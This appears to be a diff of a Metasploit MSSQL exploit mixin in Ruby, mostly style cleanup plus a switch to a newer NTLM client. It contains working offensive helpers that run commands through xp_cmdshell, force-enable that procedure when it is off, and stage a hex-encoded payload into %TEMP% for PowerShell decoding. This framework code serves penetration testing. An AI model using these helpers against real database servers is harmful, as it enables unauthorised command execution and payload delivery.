# Status
|
# Status
|
||||||
STATUS_NORMAL = 0x00
|
STATUS_NORMAL = 0x00
|
||||||
STATUS_END_OF_MESSAGE = 0x01
|
STATUS_END_OF_MESSAGE = 0x01
|
||||||
STATUS_IGNORE_EVENT = 0x02
|
STATUS_IGNORE_EVENT = 0x02
|
||||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Creates an instance of a MSSQL exploit module.
|
# Creates an instance of a MSSQL exploit module.
|
||||||
#
|
#
|
||||||
|
@ -100,16 +86,13 @@ module Exploit::Remote::MSSQL
|
||||||
'MsfExploit' => self,
|
'MsfExploit' => self,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|
||||||
ping_sock.put("\x02")
|
ping_sock.put("\x02")
|
||||||
resp, saddr, sport = ping_sock.recvfrom(65535, timeout)
|
resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout)
|
||||||
ping_sock.close
|
ping_sock.close
|
||||||
|
|
||||||
return data if not resp
|
return data if not resp
|
||||||
return data if resp.length == 0
|
return data if resp.length == 0
|
||||||
|
|
||||||
var = nil
|
|
||||||
|
|
||||||
return mssql_ping_parse(resp)
|
return mssql_ping_parse(resp)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -145,15 +128,15 @@ module Exploit::Remote::MSSQL
|
||||||
#
|
#
|
||||||
# Execute a system command via xp_cmdshell
|
# Execute a system command via xp_cmdshell
|
||||||
#
|
#
|
||||||
def mssql_xpcmdshell(cmd,doprint=false,opts={})
|
def mssql_xpcmdshell(cmd, doprint=false, opts={})
|
||||||
force_enable = false
|
force_enable = false
|
||||||
begin
|
begin
|
||||||
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
|
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
|
||||||
if(res[:errors] and not res[:errors].empty?)
|
if res[:errors] && !res[:errors].empty?
|
||||||
if(res[:errors].join =~ /xp_cmdshell/)
|
if res[:errors].join =~ /xp_cmdshell/
|
||||||
if(force_enable)
|
if force_enable
|
||||||
print_error("The xp_cmdshell procedure is not available and could not be enabled")
|
print_error("The xp_cmdshell procedure is not available and could not be enabled")
|
||||||
raise RuntimeError, "Failed to execute command"
|
raise RuntimeError, "Failed to execute command"
|
||||||
else
|
else
|
||||||
print_status("The server may have xp_cmdshell disabled, trying to enable it...")
|
print_status("The server may have xp_cmdshell disabled, trying to enable it...")
|
||||||
mssql_query(mssql_xpcmdshell_enable())
|
mssql_query(mssql_xpcmdshell_enable())
|
||||||
|
@ -167,7 +150,7 @@ module Exploit::Remote::MSSQL
|
||||||
return res
|
return res
|
||||||
|
|
||||||
rescue RuntimeError => e
|
rescue RuntimeError => e
|
||||||
if(e.to_s =~ /xp_cmdshell disabled/)
|
if e.to_s =~ /xp_cmdshell disabled/
|
||||||
force_enable = true
|
force_enable = true
|
||||||
retry
|
retry
|
||||||
end
|
end
|
||||||
|
@ -200,7 +183,7 @@ module Exploit::Remote::MSSQL
|
||||||
idx = 0
|
idx = 0
|
||||||
cnt = 500
|
cnt = 500
|
||||||
while(idx < hex.length - 1)
|
while(idx < hex.length - 1)
|
||||||
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
|
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
|
||||||
idx += cnt
|
idx += cnt
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -234,7 +217,7 @@ module Exploit::Remote::MSSQL
|
||||||
idx = 0
|
idx = 0
|
||||||
cnt = 500
|
cnt = 500
|
||||||
while(idx < hex.length - 1)
|
while(idx < hex.length - 1)
|
||||||
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
|
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
|
||||||
idx += cnt
|
idx += cnt
|
||||||
end
|
end
|
||||||
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
|
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
|
||||||
|
@ -260,17 +243,17 @@ module Exploit::Remote::MSSQL
|
||||||
|
|
||||||
while(not done)
|
while(not done)
|
||||||
head = sock.get_once(8, timeout)
|
head = sock.get_once(8, timeout)
|
||||||
if !(head and head.length == 8)
|
if !(head && head.length == 8)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
# Is this the last buffer?
|
# Is this the last buffer?
|
||||||
if(head[1,1] == "\x01" or not check_status )
|
if(head[1, 1] == "\x01" or not check_status )
|
||||||
done = true
|
done = true
|
||||||
end
|
end
|
||||||
|
|
||||||
# Grab this block's length
|
# Grab this block's length
|
||||||
rlen = head[2,2].unpack('n')[0] - 8
|
rlen = head[2, 2].unpack('n')[0] - 8
|
||||||
|
|
||||||
while(rlen > 0)
|
while(rlen > 0)
|
||||||
buff = sock.get_once(rlen, timeout)
|
buff = sock.get_once(rlen, timeout)
|
||||||
|
@ -302,77 +285,77 @@ module Exploit::Remote::MSSQL
|
||||||
pkt_data = ""
|
pkt_data = ""
|
||||||
|
|
||||||
|
|
||||||
pkt_hdr = [
|
pkt_hdr = [
|
||||||
TYPE_PRE_LOGIN_MESSAGE, #type
|
TYPE_PRE_LOGIN_MESSAGE, #type
|
||||||
STATUS_END_OF_MESSAGE, #status
|
STATUS_END_OF_MESSAGE, #status
|
||||||
0x0000, #length
|
0x0000, #length
|
||||||
0x0000, # SPID
|
0x0000, # SPID
|
||||||
0x00, # PacketID
|
0x00, # PacketID
|
||||||
0x00 #Window
|
0x00 #Window
|
||||||
]
|
]
|
||||||
|
|
||||||
version = [0x55010008,0x0000].pack("Vv")
|
version = [0x55010008, 0x0000].pack("Vv")
|
||||||
encryption = ENCRYPT_NOT_SUP # off
|
encryption = ENCRYPT_NOT_SUP # off
|
||||||
instoptdata = "MSSQLServer\0"
|
instoptdata = "MSSQLServer\0"
|
||||||
|
|
||||||
threadid = "\0\0" + Rex::Text.rand_text(2)
|
threadid = "\0\0" + Rex::Text.rand_text(2)
|
||||||
|
|
||||||
idx = 21 # size of pkt_data_token
|
idx = 21 # size of pkt_data_token
|
||||||
pkt_data_token << [
|
pkt_data_token << [
|
||||||
0x00, # Token 0 type Version
|
0x00, # Token 0 type Version
|
||||||
idx , # VersionOffset
|
idx, # VersionOffset
|
||||||
version.length, # VersionLength
|
version.length, # VersionLength
|
||||||
|
|
||||||
0x01, # Token 1 type Encryption
|
0x01, # Token 1 type Encryption
|
||||||
idx = idx + version.length, # EncryptionOffset
|
idx = idx + version.length, # EncryptionOffset
|
||||||
0x01, # EncryptionLength
|
0x01, # EncryptionLength
|
||||||
|
|
||||||
0x02, # Token 2 type InstOpt
|
0x02, # Token 2 type InstOpt
|
||||||
idx = idx + 1, # InstOptOffset
|
idx = idx + 1, # InstOptOffset
|
||||||
instoptdata.length, # InstOptLength
|
instoptdata.length, # InstOptLength
|
||||||
|
|
||||||
0x03, # Token 3 type Threadid
|
0x03, # Token 3 type Threadid
|
||||||
idx + instoptdata.length, # ThreadIdOffset
|
idx + instoptdata.length, # ThreadIdOffset
|
||||||
0x04, # ThreadIdLength
|
0x04, # ThreadIdLength
|
||||||
|
|
||||||
0xFF
|
0xFF
|
||||||
].pack("CnnCnnCnnCnnC")
|
].pack("CnnCnnCnnCnnC")
|
||||||
|
|
||||||
pkt_data << pkt_data_token
|
pkt_data << pkt_data_token
|
||||||
pkt_data << version
|
pkt_data << version
|
||||||
pkt_data << encryption
|
pkt_data << encryption
|
||||||
pkt_data << instoptdata
|
pkt_data << instoptdata
|
||||||
pkt_data << threadid
|
pkt_data << threadid
|
||||||
|
|
||||||
pkt_hdr[2] = pkt_data.length + 8
|
pkt_hdr[2] = pkt_data.length + 8
|
||||||
|
|
||||||
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
||||||
|
|
||||||
resp = mssql_send_recv(pkt)
|
resp = mssql_send_recv(pkt)
|
||||||
|
|
||||||
idx = 0
|
idx = 0
|
||||||
|
|
||||||
while resp and resp[0,1] != "\xff" and resp.length > 5
|
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||||
token = resp.slice!(0,5)
|
token = resp.slice!(0, 5)
|
||||||
token = token.unpack("Cnn")
|
token = token.unpack("Cnn")
|
||||||
idx -= 5
|
idx -= 5
|
||||||
if token[0] == 0x01
|
if token[0] == 0x01
|
||||||
|
idx += token[1]
|
||||||
idx += token[1]
|
break
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
if idx > 0
|
|
||||||
encryption_mode = resp[idx,1].unpack("C")[0]
|
|
||||||
else
|
|
||||||
#force to ENCRYPT_NOT_SUP and hope for the best
|
|
||||||
encryption_mode = ENCRYPT_NOT_SUP
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
if encryption_mode != ENCRYPT_NOT_SUP and enc_error
|
if idx > 0
|
||||||
raise RuntimeError,"Encryption is not supported"
|
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||||
end
|
else
|
||||||
encryption_mode
|
# force to ENCRYPT_NOT_SUP and hope for the best
|
||||||
|
encryption_mode = ENCRYPT_NOT_SUP
|
||||||
|
end
|
||||||
|
|
||||||
|
if encryption_mode != ENCRYPT_NOT_SUP && enc_error
|
||||||
|
raise RuntimeError,"Encryption is not supported"
|
||||||
|
end
|
||||||
|
encryption_mode
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -401,14 +384,14 @@ module Exploit::Remote::MSSQL
|
||||||
idx = 0
|
idx = 0
|
||||||
pkt = ''
|
pkt = ''
|
||||||
pkt_hdr = ''
|
pkt_hdr = ''
|
||||||
pkt_hdr = [
|
pkt_hdr = [
|
||||||
TYPE_TDS7_LOGIN, #type
|
TYPE_TDS7_LOGIN, #type
|
||||||
STATUS_END_OF_MESSAGE, #status
|
STATUS_END_OF_MESSAGE, #status
|
||||||
0x0000, #length
|
0x0000, #length
|
||||||
0x0000, # SPID
|
0x0000, # SPID
|
||||||
0x01, # PacketID (unused upon specification
|
0x01, # PacketID (unused upon specification
|
||||||
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
|
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
|
||||||
0x00 #Window
|
0x00 #Window
|
||||||
]
|
]
|
||||||
|
|
||||||
pkt << [
|
pkt << [
|
||||||
|
@ -431,19 +414,18 @@ module Exploit::Remote::MSSQL
|
||||||
sname = Rex::Text.to_unicode( rhost )
|
sname = Rex::Text.to_unicode( rhost )
|
||||||
dname = Rex::Text.to_unicode( db )
|
dname = Rex::Text.to_unicode( db )
|
||||||
|
|
||||||
ntlm_options = {
|
|
||||||
:signing => false,
|
|
||||||
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
|
|
||||||
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
|
|
||||||
:send_lm => datastore['NTLM::SendLM'],
|
|
||||||
:send_ntlm => datastore['NTLM::SendNTLM']
|
|
||||||
}
|
|
||||||
|
|
||||||
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
|
|
||||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||||
domain_name = datastore['DOMAIN']
|
|
||||||
|
|
||||||
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
|
ntlm_client = ::Net::NTLM::Client.new(
|
||||||
|
user,
|
||||||
|
pass,
|
||||||
|
workstation: workstation_name,
|
||||||
|
domain: datastore['DOMAIN'],
|
||||||
|
)
|
||||||
|
type1 = ntlm_client.init_context
|
||||||
|
# SQL 2012, at least, does not support KEY_EXCHANGE
|
||||||
|
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||||
|
ntlmsspblob = type1.serialize
|
||||||
|
|
||||||
idx = pkt.size + 50 # lengths below
|
idx = pkt.size + 50 # lengths below
|
||||||
|
|
||||||
|
@ -484,9 +466,9 @@ module Exploit::Remote::MSSQL
|
||||||
pkt << ntlmsspblob
|
pkt << ntlmsspblob
|
||||||
|
|
||||||
# Total packet length
|
# Total packet length
|
||||||
pkt[0,4] = [pkt.length].pack('V')
|
pkt[0, 4] = [pkt.length].pack('V')
|
||||||
|
|
||||||
pkt_hdr[2] = pkt.length + 8
|
pkt_hdr[2] = pkt.length + 8
|
||||||
|
|
||||||
pkt = pkt_hdr.pack("CCnnCC") + pkt
|
pkt = pkt_hdr.pack("CCnnCC") + pkt
|
||||||
|
|
||||||
|
@ -494,56 +476,36 @@ module Exploit::Remote::MSSQL
|
||||||
# has a strange behavior that differs from the specifications
|
# has a strange behavior that differs from the specifications
|
||||||
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
||||||
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
|
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
|
||||||
resp = mssql_send_recv(pkt,15, false)
|
resp = mssql_send_recv(pkt, 15, false)
|
||||||
|
|
||||||
# Get default data
|
unless resp.include?("NTLMSSP")
|
||||||
begin
|
|
||||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
|
|
||||||
# a domain.length < 3 will hit this
|
|
||||||
rescue NTLM_XCEPT::NTLMMissingChallenge
|
|
||||||
info = {:errors => []}
|
info = {:errors => []}
|
||||||
mssql_parse_reply(resp, info)
|
mssql_parse_reply(resp, info)
|
||||||
mssql_print_reply(info)
|
mssql_print_reply(info)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
challenge_key = blob_data[:challenge_key]
|
|
||||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
|
||||||
#netbios name
|
|
||||||
default_name = blob_data[:default_name] || ''
|
|
||||||
#netbios domain
|
|
||||||
default_domain = blob_data[:default_domain] || ''
|
|
||||||
#dns name
|
|
||||||
dns_host_name = blob_data[:dns_host_name] || ''
|
|
||||||
#dns domain
|
|
||||||
dns_domain_name = blob_data[:dns_domain_name] || ''
|
|
||||||
#Client time
|
|
||||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
|
||||||
|
|
||||||
spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
# Get default data
|
||||||
|
resp = resp[3..-1]
|
||||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
|
type3 = ntlm_client.init_context([resp].pack('m'))
|
||||||
domain_name, default_name, default_domain,
|
type3_blob = type3.serialize
|
||||||
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
|
|
||||||
spnopt, ntlm_options)
|
|
||||||
|
|
||||||
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
|
|
||||||
|
|
||||||
# Create an SSPIMessage
|
# Create an SSPIMessage
|
||||||
idx = 0
|
idx = 0
|
||||||
pkt = ''
|
pkt = ''
|
||||||
pkt_hdr = ''
|
pkt_hdr = ''
|
||||||
pkt_hdr = [
|
pkt_hdr = [
|
||||||
TYPE_SSPI_MESSAGE, #type
|
TYPE_SSPI_MESSAGE, #type
|
||||||
STATUS_END_OF_MESSAGE, #status
|
STATUS_END_OF_MESSAGE, #status
|
||||||
0x0000, #length
|
0x0000, #length
|
||||||
0x0000, # SPID
|
0x0000, # SPID
|
||||||
0x01, # PacketID
|
0x01, # PacketID
|
||||||
0x00 #Window
|
0x00 #Window
|
||||||
]
|
]
|
||||||
|
|
||||||
pkt_hdr[2] = ntlmssp.length + 8
|
pkt_hdr[2] = type3_blob.length + 8
|
||||||
|
|
||||||
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
|
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
|
||||||
|
|
||||||
resp = mssql_send_recv(pkt)
|
resp = mssql_send_recv(pkt)
|
||||||
|
|
||||||
|
@ -620,7 +582,7 @@ module Exploit::Remote::MSSQL
|
||||||
pkt << dname
|
pkt << dname
|
||||||
|
|
||||||
# Total packet length
|
# Total packet length
|
||||||
pkt[0,4] = [pkt.length].pack('V')
|
pkt[0, 4] = [pkt.length].pack('V')
|
||||||
|
|
||||||
# Embedded packet lengths
|
# Embedded packet lengths
|
||||||
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
|
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
|
||||||
|
@ -637,7 +599,7 @@ module Exploit::Remote::MSSQL
|
||||||
end
|
end
|
||||||
|
|
||||||
info = {:errors => []}
|
info = {:errors => []}
|
||||||
info = mssql_parse_reply(resp,info)
|
info = mssql_parse_reply(resp, info)
|
||||||
|
|
||||||
return false if not info
|
return false if not info
|
||||||
info[:login_ack] ? true : false
|
info[:login_ack] ? true : false
|
||||||
|
@ -690,17 +652,17 @@ module Exploit::Remote::MSSQL
|
||||||
|
|
||||||
print_status("SQL Query: #{info[:sql]}")
|
print_status("SQL Query: #{info[:sql]}")
|
||||||
|
|
||||||
if(info[:done] and info[:done][:rows].to_i > 0)
|
if info[:done] && info[:done][:rows].to_i > 0
|
||||||
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
|
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
|
||||||
end
|
end
|
||||||
|
|
||||||
if(info[:errors] and not info[:errors].empty?)
|
if info[:errors] && !info[:errors].empty?
|
||||||
info[:errors].each do |err|
|
info[:errors].each do |err|
|
||||||
print_error(err)
|
print_error(err)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if(info[:rows] and not info[:rows].empty?)
|
if info[:rows] && !info[:rows].empty?
|
||||||
|
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
|
@ -727,14 +689,14 @@ module Exploit::Remote::MSSQL
|
||||||
info[:colnames] ||= []
|
info[:colnames] ||= []
|
||||||
|
|
||||||
# Parse out the columns
|
# Parse out the columns
|
||||||
cols = data.slice!(0,2).unpack('v')[0]
|
cols = data.slice!(0, 2).unpack('v')[0]
|
||||||
0.upto(cols-1) do |col_idx|
|
0.upto(cols-1) do |col_idx|
|
||||||
col = {}
|
col = {}
|
||||||
info[:colinfos][col_idx] = col
|
info[:colinfos][col_idx] = col
|
||||||
|
|
||||||
col[:utype] = data.slice!(0,2).unpack('v')[0]
|
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:flags] = data.slice!(0,2).unpack('v')[0]
|
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:type] = data.slice!(0,1).unpack('C')[0]
|
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||||
|
|
||||||
case col[:type]
|
case col[:type]
|
||||||
when 48
|
when 48
|
||||||
|
@ -751,8 +713,8 @@ module Exploit::Remote::MSSQL
|
||||||
|
|
||||||
when 34
|
when 34
|
||||||
col[:id] = :image
|
col[:id] = :image
|
||||||
col[:max_size] = data.slice!(0,4).unpack('V')[0]
|
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||||
col[:value_length] = data.slice!(0,2).unpack('v')[0]
|
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||||
|
|
||||||
when 36
|
when 36
|
||||||
|
@ -760,33 +722,33 @@ module Exploit::Remote::MSSQL
|
||||||
|
|
||||||
when 38
|
when 38
|
||||||
col[:id] = :int
|
col[:id] = :int
|
||||||
col[:int_size] = data.slice!(0,1).unpack('C')[0]
|
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||||
|
|
||||||
when 127
|
when 127
|
||||||
col[:id] = :bigint
|
col[:id] = :bigint
|
||||||
|
|
||||||
when 165
|
when 165
|
||||||
col[:id] = :hex
|
col[:id] = :hex
|
||||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||||
|
|
||||||
when 173
|
when 173
|
||||||
col[:id] = :hex # binary(2)
|
col[:id] = :hex # binary(2)
|
||||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||||
|
|
||||||
when 231,175,167,239
|
when 231, 175, 167, 239
|
||||||
col[:id] = :string
|
col[:id] = :string
|
||||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:codepage] = data.slice!(0,2).unpack('v')[0]
|
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:cflags] = data.slice!(0,2).unpack('v')[0]
|
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:charset_id] = data.slice!(0,1).unpack('C')[0]
|
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||||
|
|
||||||
else
|
else
|
||||||
col[:id] = :unknown
|
col[:id] = :unknown
|
||||||
end
|
end
|
||||||
|
|
||||||
col[:msg_len] = data.slice!(0,1).unpack('C')[0]
|
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||||
|
|
||||||
if(col[:msg_len] and col[:msg_len] > 0)
|
if col[:msg_len] && col[:msg_len] > 0
|
||||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||||
end
|
end
|
||||||
info[:colnames] << (col[:name] || 'NULL')
|
info[:colnames] << (col[:name] || 'NULL')
|
||||||
|
@ -800,7 +762,7 @@ module Exploit::Remote::MSSQL
|
||||||
info[:errors] = []
|
info[:errors] = []
|
||||||
return if not data
|
return if not data
|
||||||
until data.empty?
|
until data.empty?
|
||||||
token = data.slice!(0,1).unpack('C')[0]
|
token = data.slice!(0, 1).unpack('C')[0]
|
||||||
case token
|
case token
|
||||||
when 0x81
|
when 0x81
|
||||||
mssql_parse_tds_reply(data, info)
|
mssql_parse_tds_reply(data, info)
|
||||||
|
@ -844,28 +806,28 @@ module Exploit::Remote::MSSQL
|
||||||
case col[:id]
|
case col[:id]
|
||||||
when :hex
|
when :hex
|
||||||
str = ""
|
str = ""
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
if(len > 0 and len < 65535)
|
if len > 0 && len < 65535
|
||||||
str << data.slice!(0,len)
|
str << data.slice!(0, len)
|
||||||
end
|
end
|
||||||
row << str.unpack("H*")[0]
|
row << str.unpack("H*")[0]
|
||||||
|
|
||||||
when :string
|
when :string
|
||||||
str = ""
|
str = ""
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
if(len > 0 and len < 65535)
|
if len > 0 && len < 65535
|
||||||
str << data.slice!(0,len)
|
str << data.slice!(0, len)
|
||||||
end
|
end
|
||||||
row << str.gsub("\x00", '')
|
row << str.gsub("\x00", '')
|
||||||
|
|
||||||
when :datetime
|
when :datetime
|
||||||
row << data.slice!(0,8).unpack("H*")[0]
|
row << data.slice!(0, 8).unpack("H*")[0]
|
||||||
|
|
||||||
when :rawint
|
when :rawint
|
||||||
row << data.slice!(0,4).unpack('V')[0]
|
row << data.slice!(0, 4).unpack('V')[0]
|
||||||
|
|
||||||
when :bigint
|
when :bigint
|
||||||
row << data.slice!(0,8).unpack("H*")[0]
|
row << data.slice!(0, 8).unpack("H*")[0]
|
||||||
|
|
||||||
when :smallint
|
when :smallint
|
||||||
row << data.slice!(0, 2).unpack("v")[0]
|
row << data.slice!(0, 2).unpack("v")[0]
|
||||||
|
@ -878,16 +840,16 @@ module Exploit::Remote::MSSQL
|
||||||
|
|
||||||
when :image
|
when :image
|
||||||
str = ''
|
str = ''
|
||||||
len = data.slice!(0,1).unpack('C')[0]
|
len = data.slice!(0, 1).unpack('C')[0]
|
||||||
str = data.slice!(0,len) if (len and len > 0)
|
str = data.slice!(0, len) if len && len > 0
|
||||||
row << str.unpack("H*")[0]
|
row << str.unpack("H*")[0]
|
||||||
|
|
||||||
when :int
|
when :int
|
||||||
len = data.slice!(0, 1).unpack("C")[0]
|
len = data.slice!(0, 1).unpack("C")[0]
|
||||||
raw = data.slice!(0, len) if (len and len > 0)
|
raw = data.slice!(0, len) if len && len > 0
|
||||||
|
|
||||||
case len
|
case len
|
||||||
when 0,255
|
when 0, 255
|
||||||
row << ''
|
row << ''
|
||||||
when 1
|
when 1
|
||||||
row << raw.unpack("C")[0]
|
row << raw.unpack("C")[0]
|
||||||
|
@ -900,7 +862,7 @@ module Exploit::Remote::MSSQL
|
||||||
when 8
|
when 8
|
||||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||||
else
|
else
|
||||||
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
|
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
info[:errors] << "unknown column type: #{col.inspect}"
|
info[:errors] << "unknown column type: #{col.inspect}"
|
||||||
|
@ -915,7 +877,7 @@ module Exploit::Remote::MSSQL
|
||||||
# Parse a "ret" TDS token
|
# Parse a "ret" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_ret(data, info)
|
def mssql_parse_ret(data, info)
|
||||||
ret = data.slice!(0,4).unpack('N')[0]
|
ret = data.slice!(0, 4).unpack('N')[0]
|
||||||
info[:ret] = ret
|
info[:ret] = ret
|
||||||
info
|
info
|
||||||
end
|
end
|
||||||
|
@ -924,7 +886,7 @@ module Exploit::Remote::MSSQL
|
||||||
# Parse a "done" TDS token
|
# Parse a "done" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_done(data, info)
|
def mssql_parse_done(data, info)
|
||||||
status,cmd,rows = data.slice!(0,8).unpack('vvV')
|
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||||
info
|
info
|
||||||
end
|
end
|
||||||
|
@ -933,11 +895,11 @@ module Exploit::Remote::MSSQL
|
||||||
# Parse an "error" TDS token
|
# Parse an "error" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_error(data, info)
|
def mssql_parse_error(data, info)
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
buff = data.slice!(0,len)
|
buff = data.slice!(0, len)
|
||||||
|
|
||||||
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||||
emsg = buff.slice!(0,elen * 2)
|
emsg = buff.slice!(0, elen * 2)
|
||||||
emsg.gsub!("\x00", '')
|
emsg.gsub!("\x00", '')
|
||||||
|
|
||||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||||
|
@ -948,17 +910,17 @@ module Exploit::Remote::MSSQL
|
||||||
# Parse an "environment change" TDS token
|
# Parse an "environment change" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_env(data, info)
|
def mssql_parse_env(data, info)
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
buff = data.slice!(0,len)
|
buff = data.slice!(0, len)
|
||||||
type = buff.slice!(0,1).unpack('C')[0]
|
type = buff.slice!(0, 1).unpack('C')[0]
|
||||||
|
|
||||||
nval = ''
|
nval = ''
|
||||||
nlen = buff.slice!(0,1).unpack('C')[0] || 0
|
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||||
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
|
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
|
||||||
|
|
||||||
oval = ''
|
oval = ''
|
||||||
olen = buff.slice!(0,1).unpack('C')[0] || 0
|
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||||
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
|
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
|
||||||
|
|
||||||
info[:envs] ||= []
|
info[:envs] ||= []
|
||||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||||
|
@ -969,14 +931,14 @@ module Exploit::Remote::MSSQL
|
||||||
# Parse an "information" TDS token
|
# Parse an "information" TDS token
|
||||||
#
|
#
|
||||||
